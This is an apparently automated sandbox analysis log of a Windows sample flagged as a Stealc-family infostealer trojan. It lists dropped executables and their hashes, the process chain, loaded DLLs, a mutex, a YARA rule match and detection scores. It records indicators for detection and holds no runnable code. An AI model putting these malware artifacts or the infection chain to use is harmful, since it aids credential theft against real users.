Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C67F36	6_2_00C67F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C3E530	7_2_00C3E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C56192	7_2_00C56192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C78860	7_2_00C78860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C34B30	7_2_00C34B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C34DE0	7_2_00C34DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C72D10	7_2_00C72D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C50E13	7_2_00C50E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C77049	7_2_00C77049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C731A8	7_2_00C731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C51602	7_2_00C51602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C7779B	7_2_00C7779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C778BB	7_2_00C778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C53DF1	7_2_00C53DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C67F36	7_2_00C67F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe A8BB33F2E7863A4F50AF391645B42E1C401D58B91C017104215D222EEF02AD70
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe 69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Code function: String function: 002680C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C4D942 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C4D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C68E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C4DF80 appears 63 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C47A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C480C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C4D64E appears 66 times

Source: LIWYEYWSOj.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: LIWYEYWSOj.exe	Static PE information: Section: ZLIB complexity 0.9995149101307189
Source: LIWYEYWSOj.exe	Static PE information: Section: evedjvsb ZLIB complexity 0.9946756787675411
Source: random[1].exe.7.dr	Static PE information: Section: ZLIB complexity 0.9995659722222222
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9995659722222222

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@22/6@1/4

Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\7ITQCD4F.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe

File created: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LIWYEYWSOj.exe, 00000000.00000003.1750868151.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1751352289.0000000005A45000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658281278.0000000005561000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: LIWYEYWSOj.exe	Virustotal: Detection: 52%
Source: LIWYEYWSOj.exe	ReversingLabs: Detection: 65%

Source: LEDU23VRAEI6A5X1LTGJU.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe

File read: C:\Users\user\Desktop\LIWYEYWSOj.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\LIWYEYWSOj.exe "C:\Users\user\Desktop\LIWYEYWSOj.exe"
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Process created: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe "C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe"
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Process created: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe "C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe"
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe "C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe"
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0fd4b3a5d7.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2304,i,17553584691011847469,12991288075478570278,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Process created: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe "C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Process created: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe "C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe "C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0fd4b3a5d7.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2304,i,17553584691011847469,12991288075478570278,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: winnsi.dll	Jump to behavior
